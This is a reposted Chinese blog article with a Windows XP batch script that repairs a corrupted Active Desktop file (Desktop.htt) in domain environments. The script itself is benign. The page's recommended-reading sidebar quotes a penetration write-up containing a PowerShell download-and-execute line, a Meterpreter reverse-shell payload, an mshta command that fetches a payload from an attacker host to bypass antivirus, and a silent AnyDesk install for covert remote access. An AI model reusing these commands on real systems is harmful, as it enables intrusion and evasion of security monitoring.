前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >桌面白屏(Active故障)修复批处理

桌面白屏(Active故障)修复批处理

作者头像
张戈
发布于 2018-03-23 10:15:16
发布于 2018-03-23 10:15:16
1.4K00
代码可运行
举报
文章被收录于专栏:张戈的专栏张戈的专栏
运行总次数:0
代码可运行

一年前我在做用户系统维护服务工作时发现 AD 域环境下,AD 用户桌面经常会出现壁纸无法显示,ActiveDesktop 桌面损坏之类的故障,当时从前人心得里学到的方法就是登入管理员,然后删除用户配置目录(%userprofile%),然后重新登入之后用户桌面就能正常了

如此确实能修复这白屏故障桌面,但是用户的所有事设置均被重置,加大了维护工作量,这不是做维护愿意看到的,于是左查右查,我终于找到了症结所在!

原来,加入 AD 后,域用户的桌面都是网域服务器来配置的,而 Active 桌面就是从网域获取的一个叫做 Desktop.htt 的配置文件来控制的,每次用户环境的刷新,都会从 AD 服务器重新获取新的配置文件,当出现故障的时候(没深究,大概就是网域通讯之类的故障),Desktop.htt 文件内容将会改变,都是无法连接之类的描述,从而造成了 Active 桌面故障,一片惨白! 于是,最开始就有了手动解决的办法,从正常用户环境得到正常的文件,将里面的分辨率修改成目标电脑分辨率并拷贝这个文件去覆盖损坏的 desktop.htt,然后立刻设置为只读属性(否则一刷新就被损坏文件重新覆盖,从网域抓取失败时,生成的错误文件)。

问题到这里,至少有了解决办法,但是还是挺麻烦,还是不是作为超级懒人的我所要的答案,于是我就动手写个批处理好了,于是就有了下面这个代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
@echo off   
color 2f   
mode con cols=39 lines=8   
title ※白屏修复工具※ Ver 2.2 By Mars.Ge   
rem 获取屏幕分辨率,以便重写desktop.htt.   
echo Set oIE = CreateObject("htmlfile"):With oIE.parentWindow.screen:wsh.echo .width,"*",.height:End With>"%TMP%\vbs.tmp"  
    for /f "delims=* tokens=1,2"  %%i in ('cscript.exe //e:vbscript //nologo %TMP%\vbs.tmp') do (   
    if /i "%%i" gtr "0" set X=%%i & Set Y=%%j  
                )   
rem 生成Desktop.htt文件   
echo ^<HTML^> >"%tmp%\Desktop.htt"  
echo ^<BODY background="" style="border:none;" bgcolor=#3A6DA6 topmargin=0 leftmargin=0 rightmargin=0 bottommargin=0^> >>"%tmp%\Desktop.htt"   
echo ^<DIV  style="position:absolute; LEFT: 0; TOP: 0; WIDTH:%x%; HEIGHT:%Y%;"^> >>"%tmp%\Desktop.htt"  
echo ^<IMG src="C:\windows\web\wallpaper\youjbg.jpg" cache style="position: absolute; left:0; top:0; width: 100%%; height: 100%%;"^> >>"%tmp%\Desktop.htt"  
echo ^</DIV^> >>"%tmp%\Desktop.htt"  
echo ^</BODY^> >>"%tmp%\Desktop.htt"  
echo ^</HTML^> >>"%tmp%\Desktop.htt"  
  
rem 对已损坏的desktop.htt去属性处理   
echo y|cacls /t /c /g "%userprofile%\Application Data\Microsoft\Internet Explorer\Desktop.htt" everyone:f   
attrib -r -h -S "%userprofile%\Application Data\Microsoft\Internet Explorer\Desktop.htt" >nul   
echo=   
rem 以新生成的desktop.htt覆盖   
copy /y "%tmp%\Desktop.htt" "%userprofile%\Application Data\Microsoft\Internet Explorer\"
attrib +r +h +s "%userprofile%\Application Data\Microsoft\Internet Explorer\Desktop.htt" >nul  
 
rem 判断桌面壁紙是否存在  
if not exist "C:\windows\web\wallpaper\youjbg.jpg"  ( goto Repair2 ) else (   
    Rundll32.exe USER32.DLL,UpdatePerUserSystemParameters   
    Rundll32.exe USER32.DLL,UpdatePerUserSystemParameters   
    echo=   
    echo 桌面白屏故障修复成功!    
    echo=   
    echo 任意键退出...   
    pause>NUL   
    exit  
    )   
  
:Repair2   
title ※修复桌面故障[桌面及壁紙]※   
echo=   
copy /y youjpg.jpg C:\windows\web\wallpaper\youjpg.jpg 1>nul 2>NUL   
Rundll32.exe USER32.DLL,UpdatePerUserSystemParameters   
Rundll32.exe USER32.DLL,UpdatePerUserSystemParameters   
echo 桌面白屏及壁紙故障修复成功!   
echo=   
echo 任意键退出...   
pause>nul   
goto exit

简单说明:代码先获取屏幕分辨率,然后重新生成一个正常格式的 desktop.htt 文件,然后替换损坏文件并设置只读权限即可完成修复。

注意事项: 1.由于这个 desktop.htt 文件是设置了壁纸路径的,所以如果你要使用,请将代码中的【C:\windows\web\wallpaper\youjbg.jpg】替换成你电脑的实际图片路径。

2.而如果是公司电脑或网吧之类的,可能用的就是统一桌面壁纸了,这时你只要将我这个代码和图片放到一起,然后把 youjpg.jpg 修改成你的图片名称就行了!也可以打包成 exe 文件,更方便!后续我会再写一篇利用 winrar 打包批处理的教程,敬请期待!

3.此代码仅在 XP 环境下测试过,其他环境请先测试后再使用。

代码使用过程若有任何问题请在留言处粘贴错误信息,我会第一时间答复你!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2013年12月21日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
用xp系统的rundll32进行锁屏!!!!!劲爆!!!!!
http://hi.baidu.com/joleincn/blog/item/d1dfb7d939c69fe177c638b0.html
全栈程序员站长
2022/09/13
8320
用xp系统的rundll32进行锁屏!!!!!劲爆!!!!!
编程打开控制面板及各项
大家好,又见面了,我是你们的朋友全栈君。 程序打组件服务C:\WINDOWS\system32\Com\comexp.msc 注销程序路径 C:\WINDOWS\system32\logoff.exe 智能ABC的用户词库位置 C:\Documents and Settings\用户名\ApplicationData\Microsoft\IME\winabc 造字程序的路径C:\WINDOWS\system32\eudcedit.exe 语言栏显示程序路径C:\WINDOWS\system32\ctfmon
全栈程序员站长
2022/09/13
1.3K0
找回win7桌面IE图标我有绝招
现在很多同学都用了微软的新一代操作系统Windows7,都为Windows7的华丽界面及更人性化得操作所深深吸引,但是由于我们大多数同学都习惯了原来的Windows XP的使用,在这一短暂得过度时期,我们可能还在边使用边探索!我刚刚装上了令人期待已久的Win7,那个兴奋劲就不提了!才摆弄了两天,一序列的问题出现了!害得我是悲喜交加!以前用过Opera,感觉比IE好,就把IE从桌面删除了,并且把开始菜单里的IE图标也一起删了,后来发现有些网站(比如一些银行的网站)必须用IE才能打开,这时我特别想找回我的win7里桌面原配的IE(不是快捷方式那种),尝试了N重方法,都不能找回来,最后只能用修改注册表的方法来实现我这一愿望了!
耕耘实录
2018/12/20
1K0
Wallpaper的原理和C#实现(含源文件)
wallpaper是一款优秀的动态壁纸软件,除了播放动画以外,还可以执行程序,甚至可以实时响应鼠标移动。
DearXuan
2022/01/19
2.6K0
Wallpaper的原理和C#实现(含源文件)
Windows 批处理(bat)语法大全
%~dp0 “d”为Drive的缩写,即为驱动器,磁盘、“p”为Path缩写,即为路径,目录
全栈程序员站长
2022/09/13
7.2K0
Windows 批处理(bat)语法大全
当心,Kaskitya木马伪装成“京卡-互助服务卡”欺骗用户!
最近,我们关注到一起APT攻击事件,攻击者通过钓鱼邮件的方式投递含有恶意代码的附件,此附件包含一个名叫“Kaskitya”的木马。
安恒信息
2018/08/03
1K0
当心,Kaskitya木马伪装成“京卡-互助服务卡”欺骗用户!
lock html路径,lockworkstation
电脑找不到rundll32.exeuser32.dll,LockWorkStatio想要在人离开的时候锁定电脑,可是找不到路径怎么办?已经创建的快捷方注意不要拼写错了,是rundll32.exe user32.dll,LockWorkStation不是LockWordStation。也要注意空格和大小写。实在不行可以用记事本写入 Dim WSHShell Set WSHShell=WScript.CreateObject(“WScript.Shell”) WSHShell.Run “Rundll32.exe user32.dl
全栈程序员站长
2022/09/13
1K0
渗透测试与开发技巧
https://github.com/3gstudent/Pentest-and-Development-Tips
天钧
2021/01/05
4.8K0
windows bat批处理基础命令学习教程「建议收藏」
前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,分享一下给大家。点击跳转到教程。
全栈程序员站长
2022/09/23
19.5K0
批处理编写(自用
批处理 是 处理命令。自上而下成批的处理每一条命令,知道执行到最后一条,即使报错 也会继续执行后面的内容。
KID.
2023/12/22
2200
Win下终端实现文件上传和下载执行
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。
全栈工程师修炼指南
2020/10/23
3.5K0
Win下终端实现文件上传和下载执行
自动化篇 | 这些自动化场景,批处理脚本完全可以取代 Python!
提到自动化解决方案,相信大部分人会想到用 Python 语言,只需要根据功能场景,编写 Python 脚本即可
AirPython
2020/08/05
1.1K0
CXK恶作剧勒索2.0分析
勒索软件的流行程度近几年来广为人知,于是就有人喜欢模仿,这种炫技行为真的是用错了地方。该样本之前1.0版本已分析过,而本次分析的是2.0版本,发现新增与改变了一些行为。
网e渗透安全部
2019/11/20
9870
2.批处理脚本制作
批处理脚本制作案例 案例13:制作带有菜单的脚本 用到知识 冒号: goto if if用法 if 判断语句 命令 # 判断正确成功,则执行命令,否则不执行,结束判断 如:if 1==2 md c:\123 案例: @echo off title 阿七程序 color 0a mode con cols=45 lines=13 :menu cls echo =========================== echo 菜单 echo 1.定时关机 echo 2.制作关机病毒 echo 3.清理垃圾 ech
阿七日记
2021/11/12
7260
(修改gho文件办法)做属于自己个性的gho系统
Windows XP的绝大部分注册表数据文件存放在C:\WINDOWS\system32\config。该目录里面包含了5个没有扩展名的文件,即当前注册表文件:   DEFAULT(默认注册表文件,位于注册表的HKEY_USERS项分支下)   SAM(安全账户管理器注册表文件,位于注册表的HKEY_LOCAL_MACHINE\SAM项分支下)   SECURITY(安全注册表文件,位于注册表的HKEY_LOCAL_MACHINE\SECURITY项分支下)   SOFTWARE(应用软件注册表文件,位于注册表的HKEY_LOCAL_MACHINE\SOFTWARE项分支下)   SYSTEM(系统注册表文件,位于注册表的HKEY_LOCAL_MACHINE\SYSTEM项分支下)   另外,“%SystemRoot%\Repair”目录下,有一份系统刚刚装好时候原始注册表数据备份。 好了,知道位置后就要把GHOST中的相关文件提取出来,单独放在一个文件夹中,用Regedit编辑器“加载配置单元”进行编辑,编辑好后“卸载配置单元”,再替换回Ghost镜象,就完工了。 二 几个相关文件位置1 IE的首页可以在config目录下的software文件中,也可能在Document&settings_USERNAME_netusser.dat文件中2 屏保程序:windows_system32目录下3 主题文件:windows_resources_themes4 壁纸文件:windows_web_wallpaper5 安装背景:windows_system32_setup.bmp附: IE主页无法修改的注册表解决办法 有时候使用IE出现主页被改且无法修改的情况,而且选择Internet选项修改主页设置那里是灰色的,这很有可能是你在上网或者安装软件的时候中了病毒被修改且锁定了注册表值,首先推荐你使用优化大师\魔法兔子、黄山IE修复专家或者Upiea等系统优化软件来排除问题,但如果仍然不奏效或者你没有下载软件亦或者你正好看到了这篇文章,那么可以用下面修改注册表的方式侧地排除问题:
全栈程序员站长
2022/09/14
3.4K0
Windows关机、锁屏、休眠和快捷命令
新建关机.txt文件,填写下面内容 -> 保存 ,重命名关机.bat ,60秒后关机
咻一咻
2020/06/19
7.1K0
记一次从Jboss到3389远程桌面案例
翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件,存储着这个定位服务平台的相关配置信息,包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡,公网:47.**.***.77,内网:10.28.176.131,两个内网DNS服务器:10.143.22.116、10.143.22.118,并且可以与外网进行通讯。 0x04 绕过主动防御上线 测试了以前常用的Powershell混淆法,不过已经被360主动防御拦了,微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性,一旦被公布被查杀和拦截也正常(早晚的事)。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了,最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话,执行getsystem即可提升为SYSTEM,执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注:mshta白名单貌似只能用x86的Payload,执行成功后会自动迁移至32位的rundll32.exe进程,所以就可能会出现由werfaylt.exe弹出的下图报错,所以个人建议在得到Session后迁移至x64进程,并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒 虽然已经是最高权限了,但由于这台主机为阿里云,且存在360主动防御,就不添加用户进行远程桌面连接了,因为360会拦截添加用户,而且远程桌面连接时会触发异地登录提醒。 为避免触发异地登录提醒,我们可以利用AnyDesk来进行绕过,将AnyDesk.exe和静默安装批处理文件上传至可读写目录中,然后在命令行下执行该批处理文件获取连接ID。 注:如果等待时间过长,一直卡着不动获取不到连接ID时可结束当前命令行,重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面,成功的绕过了阿里云主机的异地登录提醒。 至此,全文结束,内网就不搞了!!!
潇湘信安
2021/10/09
1K0
【开源小软件 】Bing每日壁纸 让桌面壁纸保持更新
该小软件可以自动获取Bing的精美图片设置为壁纸,并且支持随机切换历史壁纸,查看壁纸故事。
JadePeng
2018/08/22
1.9K0
【开源小软件 】Bing每日壁纸 让桌面壁纸保持更新
服务器版dll修复工具,dll修复工具「建议收藏」
winmm.dll是Windows多媒体相关应用程序接口,用于低档的音频和游戏手柄,缺少它可能造成部分软件无声音。当你的电脑提示“丢失winmm.dll”或者“没有找到winmm.dll”等类似错误信息。
全栈程序员站长
2022/09/05
3K0
ParSec篡改Windows桌面背景(壁纸,Wallpaper)的解决办法
有些软件比如ParSec可能篡改桌面背景,改了后无法在个性化里修改,按钮灰的,点不了,如下图
Windows技术交流
2024/08/06
2650
相关推荐
用xp系统的rundll32进行锁屏!!!!!劲爆!!!!!
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验